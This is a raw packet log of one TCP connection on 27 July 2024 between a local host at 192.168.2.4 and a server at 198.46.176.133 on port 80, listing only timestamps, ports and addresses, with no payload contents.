Jul 27, 2024 13:30:03.437441111 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437448025 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.437484026 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.437630892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437647104 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437663078 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437680006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437685966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.437717915 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.437935114 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437952042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437967062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437982082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437998056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.437998056 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438025951 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438307047 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438323975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438338995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438354015 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438355923 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438370943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438371897 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438409090 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438765049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438780069 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438795090 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438808918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438823938 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438836098 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438839912 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438857079 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438869953 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438870907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438889027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438895941 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438906908 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.438918114 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.438951969 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439533949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439548969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439563036 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439578056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439593077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439606905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439609051 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439623117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439636946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439647913 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439651966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439668894 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439678907 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439683914 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439699888 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439712048 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439713955 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439733028 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.439738989 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.439765930 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440689087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440706015 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440721035 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440737963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440752029 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440764904 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440766096 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440782070 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440797091 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440798044 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440813065 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440825939 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440829992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440845013 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440854073 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440864086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440876961 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440879107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440896034 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.440903902 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.440937042 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441576958 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441591978 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441606998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441632032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441644907 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441647053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441663980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441678047 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441687107 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441694975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441710949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441715002 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441728115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441735983 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441745043 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441761017 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441771030 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441777945 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441793919 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.441803932 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.441826105 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442534924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442549944 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442564964 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442579031 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442593098 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442606926 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442609072 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442622900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442639112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442643881 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442655087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442670107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442683935 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442692995 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442699909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442714930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442734003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442734957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.442758083 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.442781925 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443398952 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443413973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443428040 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443443060 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443454981 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443459034 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443475008 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443475962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443494081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443542957 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443825006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443840027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443854094 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443869114 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443875074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443885088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443900108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443911076 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.443914890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.443955898 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.475755930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.475884914 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.475898981 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.475953102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.475967884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.475965023 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.476032019 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.476037025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.476052999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.476094007 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.476135015 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.476195097 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.532622099 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532649994 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532664061 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532720089 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.532782078 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532798052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532823086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.532824039 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532841921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.532861948 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533190966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533205986 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533220053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533233881 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533242941 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533250093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533257961 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533267975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533282995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533292055 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533298969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533314943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533324003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533349037 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533879042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533894062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533907890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533921957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533936024 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533937931 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533957958 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.533961058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533978939 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533993006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.533998966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534009933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534024954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534029961 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534043074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534060001 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534063101 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534096956 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534764051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534780025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534797907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534812927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534820080 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534828901 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534843922 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534848928 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534859896 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534874916 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534877062 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534892082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534907103 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534914017 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534924030 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534940004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534944057 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.534957886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.534970999 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535732985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535748959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535763979 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535778046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535780907 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535793066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535804987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535809040 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535824060 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535834074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535839081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535855055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535866022 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535871029 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535888910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535892010 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535904884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535917997 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535923004 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.535934925 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.535960913 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536708117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536725044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536746025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536757946 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536761999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536776066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536782980 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536792994 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536808968 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536817074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536824942 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536840916 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536844969 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536856890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536873102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536875963 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536889076 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536904097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.536911964 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.536941051 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537667036 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537683010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537695885 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537710905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537724972 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537729025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537748098 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537749052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537766933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537782907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537787914 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537800074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537816048 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537825108 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537832022 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537848949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537853003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537864923 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537880898 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.537883997 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.537916899 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538616896 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538633108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538646936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538661003 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538674116 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538675070 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538690090 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538696051 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538705111 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538719893 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538733959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538738966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538750887 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538762093 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538765907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538780928 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538789034 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538796902 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538813114 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.538815975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.538847923 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.539469004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539488077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539500952 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539515972 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539527893 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.539531946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539549112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.539552927 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.539591074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.569013119 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569029093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569044113 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569067001 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569081068 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569096088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569112062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.569119930 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.569232941 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.625999928 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626076937 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626128912 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626162052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626163960 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.626178026 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626195908 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626211882 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626224995 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.626229048 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626246929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626262903 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626317978 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626333952 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626348972 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626358986 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.626365900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626426935 CEST	49730	80	192.168.2.4	198.46.176.133
